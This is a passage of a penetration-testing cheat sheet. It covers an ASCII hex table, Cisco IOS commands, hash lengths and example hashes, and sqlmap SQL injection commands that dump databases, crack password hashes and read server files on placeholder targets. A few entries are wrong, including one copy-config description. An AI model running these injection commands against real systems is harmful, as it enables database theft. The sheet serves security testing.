x3e	>
x3f	?
x40	@
x41	A
x42	B
x43	C
x44	D
x45	E
x46	F
x47	G
x48	H
x49	I
x4a	J
x4b	K

x4c	L
x4d	M
x4e	N
x4f	O
x50	P
x51	Q
x52	R
x53	S
x54	T
x55	U
x56	V
x57	W
x58	X
x59	Y
x5a	Z
x5b	[
x5c	\
x5d	]
x5e	^
x5f	_
x60	`
x61	a
x62	b
x63	c
x64	d
x65	e
x66	f
x67	g
x68	h
x69	i
x6a	j
x6b	k
x6c	l
x6d	m
x6e	n
x6f	o
x70	p
x71	q
x72	r
x73	s
x74	t
x75	u
x76	v
x77	w
x78	x
x79	y
x7a	z
x7b	{
x7c	}
x7d	~
x7e	
x7f	

x6a	j
x6b	k
x6c	l
x6d	m
x6e	n
x6f	o
x70	p
x71	q
x72	r
x73	s
x74	t
x75	u
x76	v
x77	w
x78	x
x79	y
x7a	z

CISCO IOS Commands

A collection of useful Cisco IOS commands.

COMMAND	DESCRIPTION
<code>enable</code>	Enters enable mode
<code>conf t</code>	Short for, configure terminal
<code>(config)# interface fa0/0</code>	Configure FastEthernet 0/0
<code>(config-if)# ip addr 0.0.0.0 255.255.255.255</code>	Add ip to fa0/0
<code>(config-if)# ip addr 0.0.0.0 255.255.255.255</code>	Add ip to fa0/0
<code>(config-if)# line vty 0 4</code>	Configure vty line
<code>(config-line)# login</code>	Cisco set telnet password
<code>(config-line)# password YOUR-PASSWORD</code>	Set telnet password
<code># show running-config</code>	Show running config loaded in memory
<code># show startup-config</code>	Show sartup config
<code># show version</code>	show cisco IOS version
<code># show session</code>	display open sessions
<code># show ip interface</code>	Show network interfaces
<code># show interface e0</code>	Show detailed interface info
<code># show ip route</code>	Show routes
<code># show access-lists</code>	Show access lists
<code># dir file systems</code>	Show available files
<code># dir all-filesystems</code>	File information
<code># dir /all</code>	SHow deleted files
<code># terminal length 0</code>	No limit on terminal output
<code># copy running-config tftp</code>	Copys running config to tftp server
<code># copy running-config startup-config</code>	Copy startup-config to running-config

Cryptography

Hash Lengths

HASH	SIZE
MD5 Hash Length	16 Bytes
SHA-1 Hash Length	20 Bytes
SHA-256 Hash Length	32 Bytes
SHA-512 Hash Length	64 Bytes

Hash Examples

Likely just use **hash-identifier** for this but here are some example hashes:

HASH	EXAMPLE
MD5 Hash Example	8743b52063cd84097a65d1633f5c74f5
MD5 \$PASS:\$SALT Example	01dfae6e5d4d90d9892622325959afbe:7050461
MD5 \$SALT:\$PASS	f0fda58630310a6dd91a7d8f0a4ceda2:4225637426
SHA1 Hash Example	b89eaac7e61417341b710b727768294d0e6a277b
SHA1 \$PASS:\$SALT	2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
SHA1 \$SALT:\$PASS	cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024
SHA-256	127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935
SHA-256 \$PASS:\$SALT	c73d08de890479518ed60cf670d17faa26a4a71f995c1dcc978165399401a6c4
SHA-256 \$SALT:\$PASS	eb368a2dfd38b405f014118c7d9747fcc97f4f0ee75c05963cd9da6ee65ef498:560407001617
SHA-512	82a9dda829eb7f8ffe9fbe49e45d47d2dad9664fbb7adf72492e3c81ebd3e29134d9bc12212bf83c6840f10e8246b9db54a4859b7ccd0123d86e5872c1e5082f
SHA-512 \$PASS:\$SALT	e5c3ede3e49fb86592fb03f471c35ba13e8d89b8ab65142c9a8fdafb635fa2223c24e5558fd9313e8995019dcbec1fb584146b7bb12685c7765fc8c0d51379fd
SHA-512 \$SALT:\$PASS	976b451818634a1e2acba682da3fd6efa72adf8a7a08d7939550c244b237c72c7d42367544e826c0c83fe5c02f97c0373b6b1386cc794bf0d21d2df01bb9c08a
NTLM Hash Example	b4b9b02e6f09a9bd760f388b67351e2b

SQLMap Examples

COMMAND

DESCRIPTION

```
sqlmap -u http://meh.com --forms --batch --crawl=10  
--cookie=jsessionid=54321 --level=5 --risk=3
```

Automated sqlmap scan

```
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE  
--level=3 --current-user --current-db --passwords  
--file-read="/var/www/blah.php"
```

Targeted sqlmap scan

```
sqlmap -u "http://meh.com/meh.php?id=1"  
--dbms=mysql --tech=U --random-agent --dump
```

Scan url for union + error based injection with mysql backend and use a random user agent + database dump

```
sqlmap -o -u "http://meh.com/form/" --forms
```

sqlmap check form for injection

```
sqlmap -o -u "http://meh/vuln-form" --forms  
-D database-name -T users --dump
```

sqlmap dump and crack hashes for table users on database-name.

Share this on...

[Twitter](#) [Facebook](#) [Google+](#) [Reddit](#)

Follow Arr0way

[Twitter](#) [GitHub](#)

Also...

You might want to read these

CATEGORY	POST NAME
cheat-sheet	LFI Cheat Sheet
kali linux	HowTo: Kali Linux Chromium Install for Web App Pen Testing
walkthroughs	InsomniHack CTF Teaser - Smartcat2 Writeup
walkthroughs	InsomniHack CTF Teaser - Smartcat1 Writeup
walkthroughs	FristiLeaks 1.3 Walkthrough
walkthroughs	SickOS 1.1 - Walkthrough
walkthroughs	The Wall Boot2Root Walkthrough
walkthroughs	/dev/random: Sleepy Walkthrough CTF
walkthroughs	/dev/random Pipe walkthrough
walkthroughs	Lord of the Root Walkthrough CTF

The contents of this website are © 2017 HighOn.Coffee

Proudly hosted by **GitHub**